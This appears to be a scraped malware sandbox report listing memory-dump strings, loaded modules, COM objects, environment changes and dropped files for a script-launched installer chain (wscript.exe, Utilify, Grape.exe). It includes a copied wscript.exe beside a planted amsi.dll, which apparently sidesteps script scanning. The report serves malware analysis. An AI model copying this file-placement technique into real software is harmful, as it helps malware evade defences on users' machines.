00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00006836.00000001.121847.66870000.00000002.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00006836.00000001.121847.66870000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006836.00000001.121847.66870000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006836.00000002.122890.669B9000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00006836.00000002.122890.69870000.00000004.mdmp "Registry\Machine\Software\Classes\DelegateFolders" in Source: 00000000-00006836.00000002.122890.698CE000.00000004.mdmp "Registry\Machine\Software\Classes\ADODB.Stream" in Source: 00000000-00006836.00000002.122890.698CE000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00006836.00000002.122890.742C2000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006836.00000002.122890.742C2000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00006836.00000002.122890.742C2000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{4" in Source: 00000000-00006836.00000002.122890.742C2000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006836.00000002.122890.742C2000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006836.00000002.122890.742C2000.00000004.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00006836.00000002.122890.76A05000.00000002.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00006836.00000002.122890.76A05000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006836.00000002.122890.76A05000.00000002.mdmp43:T35ad,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff7c880000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff7c880000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff7c880000 "WScript.exe" loaded module "KERNEL32" at base 7fff7e470000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff56fc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff7ac00000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7fff7d7c0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7fff7e470000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7fff50070000 "WScript.exe" loaded module "AMSI.DLL" at base 7fff5de10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff73c10000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fff5c4b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\58HOF9D4.DLL" at base 7fff56f70000 "WScript.exe" loaded module "WLDP.DLL" at base 7fff7b5e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff7d700000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 1e3f1040000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff7b9c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fff69a10000 "WScript.exe" loaded module "OLE32.DLL" at base 7fff7d960000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff7d3e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fff5b020000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7fff56f30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7fff50030000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7fff57070000 "WScript.exe" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 7fff4f570000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7fff73100000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fff4ff20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fff7e470000 "WScript.exe" loaded module "USERENV.DLL" at base 7fff7c480000 "WScript.exe" loaded module "VERSION.DLL" at base 7fff73c10000 "WScript.exe" loaded module "SHELL32.DLL" at base 7fff7e5f0000 "WScript.exe" loaded module "NTDLL.DLL" at base 7fff80230000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fff78980000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 1e3f18d0000 "WScript.exe" loaded module "USER32.DLL" at base 7fff80060000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7fff6e440000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7fff7e5f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7fff71c20000 "WScript.exe" loaded module "MSISO.DLL" at base 7fff6e830000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7fff7c4b0000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7fff7c880000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff7c880000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff7c880000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff7c880000 "wscript.exe" loaded module "KERNEL32" at base 7fff7e470000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff56fc0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff7ac00000 "wscript.exe" loaded module "RPCRT4.DLL" at base 7fff7d7c0000 "wscript.exe" loaded module "KERNEL32.DLL" at base 7fff7e470000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7fff50070000 "wscript.exe" loaded module "AMSI.DLL" at base 7fff5de10000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff73c10000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fff5c4b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\58HOF9D4.DLL" at base 7fff56f70000 "wscript.exe" loaded module "WLDP.DLL" at base 7fff7b5e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff7d700000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 1bd686a0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff7b9c0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fff69a10000 "wscript.exe" loaded module "OLE32.DLL" at base 7fff7d960000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff7d3e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fff5b020000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7fff56f30000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fff4ff20000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fff7e470000 "wscript.exe" loaded module "USERENV.DLL" at base 7fff7c480000 "wscript.exe" loaded module "VERSION.DLL" at base 7fff73c10000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7fff57070000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7fff6b450000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 7fff4f550000 "wscript.exe" loaded module "WINHTTP.DLL" at base 7fff78bb0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7fff5e8e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fff7be10000 "wscript.exe" loaded module "SSPICLI.DLL" at base 7fff7c4b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fff75090000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fff75630000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7fff7b900000 "wscript.exe" loaded module "MSKEYPROTECT.DLL" at base 7fff6c2b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7fff6c300000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fff7d5b0000 "wscript.exe" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 7fff4f570000 "wscript.exe" loaded module "SHELL32.DLL" at base 7fff7e5f0000 "wscript.exe" loaded module "NTDLL.DLL" at base 7fff80230000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fff78980000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 1bd68e30000 "wscript.exe" loaded module "USER32.DLL" at base 7fff80060000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7fff6e440000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7fff7e5f0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7fff71c20000 "wscript.exe" loaded module "MSISO.DLL" at base 7fff6e830000 "wscript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7fff7c880000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7fff7a980000 "Utilify_8u8a563i.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b30000 "Utilify_8u8a563i.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b30000 "Utilify_8u8a563i.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b30000 "Utilify_8u8a563i.exe" loaded module "KERNEL32" at base 74b80000 "Utilify_8u8a563i.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73250000 "Utilify_8u8a563i.exe" loaded module "KERNEL32.DLL" at base 74b80000 "Utilify_8u8a563i.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPT.DLL" at base 73630000 "Utilify_8u8a563i.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 762e0000 "Utilify_8u8a563i.exe" loaded module "RPCRT4.DLL" at base 756c0000 "Utilify_8u8a563i.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74220000 "Utilify_8u8a563i.exe" loaded module "NTDLL.DLL" at base 77d50000 "Utilify_8u8a563i.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 746c0000 "Utilify_8u8a563i.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b30000 "Utilify_8u8a563i.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b30000 "Utilify_8u8a563i.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b30000 "Utilify_8u8a563i.tmp" loaded module "KERNEL32" at base 74b80000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73250000 "Utilify_8u8a563i.tmp" loaded module "KERNEL32.DLL" at base 74b80000 "Utilify_8u8a563i.tmp" loaded module "MSCTF.DLL" at base 74f90000 "Utilify_8u8a563i.tmp" loaded module "IMM32.DLL" at base 74c80000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74220000 "Utilify_8u8a563i.tmp" loaded module "NTDLL.DLL" at base 77d50000 "Utilify_8u8a563i.tmp" loaded module "RPCRT4.DLL" at base 756c0000 "Utilify_8u8a563i.tmp" loaded module "UXTHEME.DLL" at base 74220000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 769c0000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\BCRYPT.DLL" at base 73630000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 762e0000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 73120000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 746c0000 "Utilify_8u8a563i.tmp" loaded module "OLEAUT32.DLL" at base 758a0000 "Utilify_8u8a563i.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 76840000 "Utilify_8u8a563i.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 76840000 "Utilify_8u8a563i.tmp" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 76440000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 74f90000 "Utilify_8u8a563i.tmp" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 76340000 "Grape.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff7c880000 "Grape.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff7c880000 "Grape.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff7c880000 "Grape.exe" loaded module "KERNEL32" at base 7fff7e470000 "Grape.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff707b0000 "Grape.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7fff7c880000 "Grape.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7fff7c880000 "Grape.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7fff7c880000 "Grape.exe" loaded module "POWRPROF.DLL" at base 7fff7c5e0000 "Grape.exe" loaded module "USER32.DLL" at base 7fff80060000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff7ac00000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fff7be10000 "Grape.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHELL32-L1-1-0.DLL" at base 7fff7e010000 "Grape.exe" loaded module "ADVAPI32.DLL" at base 7fff7d700000 "Grape.exe" loaded module "OLE32.DLL" at base 7fff7d960000 "Grape.exe" loaded module "COMBASE.DLL" at base 7fff7dac0000 "Grape.exe" loaded module "KERNEL32.DLL" at base 7fff7e470000 "Grape.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7fff7c5c0000 "Grape.exe" loaded module "NTDLL.DLL" at base 7fff80230000 "Grape.exe" loaded module "IPHLPAPI.DLL" at base 7fff7bb40000 "Grape.exe" loaded module "RPCRT4.DLL" at base 1b6842d0000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fff75090000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fff75630000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\TWINAPI.APPCORE.DLL" at base 7fff7afb0000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\TWINAPI.DLL" at base 7fff674a0000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 7fff771e0000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7fff7e0c0000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7fff7d960000 "Grape.exe" loaded module "SHCORE.DLL" at base 7fff7e010000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.DLL" at base 7fff6d810000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\MMDEVAPI.DLL" at base 7fff76ac0000 "Grape.exe" loaded module "CFGMGR32.DLL" at base 7fff7d650000 "Grape.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 7fff7c880000 "Grape.exe" loaded module "MSCMS.DLL" at base 7fff65100000 "Grape.exe" loaded module "EXT-MS-WIN-CORE-RESOURCEPOLICY-L1-1-0.DLL" at base 7fff7af40000 "Grape.exe" loaded module "RPCRT4.DLL" at base 7fff7d7c0000 "Grape.exe" loaded module "GDI32.DLL" at base 7fff7e5c0000 "Grape.exe" loaded module "MF.DLL" at base 7fff5e0e0000 "Grape.exe" loaded module "MFPLAT.DLL" at base 7fff69ce0000 "Grape.exe" loaded module "MSMPEG2VDEC.DLL" at base 7fff5b230000 "Grape.exe" loaded module "DXVA2.DLL" at base 7fff70820000 "Grape.exe" loaded module "MSVPROC.DLL" at base 7fff5ae00000 "Grape.exe" loaded module "D3DCOMPILER_47.DLL" at base 7fff5a9a0000 "Grape.exe" loaded module "DDRAW.DLL" at base 7fff5a8a0000 "Grape.exe" loaded module "%LOCALAPPDATA%\SUPERMAXIONQUICKMAXLITE\SWIFTSHADER\LIBGLESV2.DLL" at base 7fff5a4b0000 "Grape.exe" loaded module "%LOCALAPPDATA%\SUPERMAXIONQUICKMAXLITE\SWIFTSHADER\LIBEGL.DLL" at base 7fff6b8b0000 "Grape.exe" loaded module "DWMAPI.DLL" at base 7fff7ae30000 "Grape.exe" loaded module "%WINDIR%\SYSTEM32\MFH264ENC.DLL" at base 7fff5a29000044:Tc38,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "WScript.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\TREATAS") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "ADODB.Stream" (Path: "HKCU\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "wscript.exe" touched "Server XML HTTP 6.0" (Path: "HKCU\CLSID\{88D96A0B-F192-11D4-A65F-0040963251E5}\TREATAS") "wscript.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS") "Grape.exe" touched "TF_ThreadMgr" (Path: "HKCU\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\TREATAS") "Grape.exe" touched "TF_CategoryMgr" (Path: "HKCU\CLSID\{A4B544A1-438D-4B41-9325-869523E2D6C7}\TREATAS") "Grape.exe" touched "TF_DisplayAttributeMgr" (Path: "HKCU\CLSID\{3CE74DE4-53D3-4D74-8B83-431B3828BA53}\TREATAS") "Grape.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{144C71F2-7F10-4AB2-BB07-C38F5B9AE05E}\TREATAS") "Grape.exe" touched "MMDeviceEnumerator class" (Path: "HKCU\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TREATAS") "Grape.exe" touched "MF Media Source Activate" (Path: "HKCU\CLSID\{E79167D7-1B85-4D78-B603-798E0E1A4C67}")45:T470,Process "wscript.exe" (UID: 00000000-00006836) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A"" Process "wscript.exe" (UID: 00000000-00006836) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "wscript.exe" (UID: 00000000-00006836) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "Utilify_8u8a563i.tmp" (UID: 00000000-00000952) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "Utilify_8u8a563i.tmp" (UID: 00000000-00000952) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "Grape.exe" (UID: 00000000-00004092) was launched with new environment variables: "ORIGINAL_XDG_CURRENT_DESKTOP="undefined"" Process "Grape.exe" (UID: 00000000-00004092) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "Grape.exe" (UID: 00000000-00004092) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"46:T62b,"WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "Utilify_8u8a563i.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Utilify_8u8a563i.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Utilify_8u8a563i.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Utilify_8u8a563i.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "Utilify_8u8a563i.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Utilify_8u8a563i.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Utilify_8u8a563i.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Utilify_8u8a563i.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "Grape.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Grape.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Grape.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME")47:T1139,"libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libGLESv2.dll]- [targetUID: 00000000-00000952] "Grape.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\Grape.exe]- [targetUID: 00000000-00000952] "Utilify_8u8a563i.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\Utilify_8u8a563i.exe]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libEGL.dll]- [targetUID: 00000000-00000952] "wscript.exe" has type "PE32+ executable for MS Windows 10.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\svc_ylb6ijl1\wscript.exe]- [targetUID: 00000000-00002804] "amsi.dll" has type "MS-DOS executable MZ for MS-DOS"- Location: [%TEMP%\svc_ylb6ijl1\amsi.dll]- [targetUID: 00000000-00002804] "icudtl.dat" has type "data"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\icudtl.dat]- [targetUID: 00000000-00000952] "LICENSES.chromium.html" has type "HTML document text HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\LICENSES.chromium.html]- [targetUID: 00000000-00000952] "Utilify_8u8a563i.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.tmp]- [targetUID: 00000000-00000952] "LICENSES.chromium.html" has type "HTML document text HTML document ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\LICENSES.chromium.html]- [targetUID: 00000000-00000952] "chrome_200_percent.pak" has type "data"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\chrome_200_percent.pak]- [targetUID: 00000000-00000952] "chrome_100_percent.pak" has type "data"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\chrome_100_percent.pak]- [targetUID: 00000000-00000952] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00000952] "sw.js" has type "ASCII text with very long lines (2541) with no line terminators"- Location: [%TEMP%\svc_ylb6ijl1\sw.js]- [targetUID: 00000000-00002804] "LICENSE.electron.txt" has type "ASCII text"- Location: 